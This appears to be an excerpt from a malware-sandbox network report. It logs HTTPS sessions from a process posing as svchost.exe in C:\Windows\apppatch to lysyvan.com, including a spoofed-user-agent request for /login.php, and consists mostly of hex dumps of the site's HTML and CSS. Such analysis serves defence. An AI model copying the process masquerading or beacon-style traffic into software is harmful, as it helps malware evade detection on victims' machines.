                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6vGypwx%2BPgWcKCn2yY8JSnSetZmhdeNxDxcmqrsbF3zlsBkILZAZiXWf%2BTnBaY6Yk5iz1aEiLw%2B8bWgjsrijUyVBjjB8roeXF5KLs0ALWjejf2O6lmteuRyEs6PIHg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d109d0443a0-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2429530&cwnd=231&unsent_bytes=0&cid=13ea4e558f4e72c0&ts=1807&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC281INData Raw: 37 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                                    Data Ascii: 7c1e<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30
                                                                                                                                                                                                                    Data Ascii: et="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69
                                                                                                                                                                                                                    Data Ascii: ng:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{vi
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70
                                                                                                                                                                                                                    Data Ascii: 0%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-typ
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74
                                                                                                                                                                                                                    Data Ascii: ml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;posit
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b
                                                                                                                                                                                                                    Data Ascii: :none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d
                                                                                                                                                                                                                    Data Ascii: ot(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtm
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f
                                                                                                                                                                                                                    Data Ascii: :0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!impo
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b
                                                                                                                                                                                                                    Data Ascii: dden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordion{
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1369INData Raw: 6e 64 61 72 64 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6c 79 73 79 76 61 6e 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 32 2f 63 72 6f 70 70 65 64 2d 53 75 6b 73 65 73 2d 46 61 76 69 63 6f 6e 2d 32 37 30 78 32 37 30 2e 70 6e 67 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 76 30 2e 6d 6a 73 22 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 6e
                                                                                                                                                                                                                    Data Ascii: ndard"><meta name="msapplication-TileImage" content="https://lysyvan.com/wp-content/uploads/2023/12/cropped-Sukses-Favicon-270x270.png"><script async="" src="https://cdn.ampproject.org/v0.mjs" type="module" crossorigin="anonymous"></script><script async n


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    4192.168.2.449756188.114.97.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:32 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1096INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:34 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="44.1",amp_style_sanitizer;dur="27.0",amp_tag_and_attribute_sanitizer;dur="12.4",amp_optimizer;dur="21.8"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S3i5QSLKZ%2BntlE%2BounJbfCTwudlZXep0opq0n2z8%2FnrtTrbL7YazQzaLEhC%2F6o1wuiPn2TQvuUayTQH5F14gL7Iwr4aOLXlmaQ%2FmJ%2FRvCjl61xg9Bd%2BTwJFq4tshgw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d2108ec41c6-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2542581&cwnd=243&unsent_bytes=0&cid=50260e2f3cf951f9&ts=1394&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC273INData Raw: 37 63 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                                    Data Ascii: 7c16<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65
                                                                                                                                                                                                                    Data Ascii: ta charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{he
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68
                                                                                                                                                                                                                    Data Ascii: -scrolling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-ligh
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73
                                                                                                                                                                                                                    Data Ascii: width:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:firs
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f
                                                                                                                                                                                                                    Data Ascii: .i-amphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-blo
                                                                                                                                                                                                                    2024-11-11 17:48:34 UTC1369INData Raw: 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74
                                                                                                                                                                                                                    Data Ascii: {display:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolut
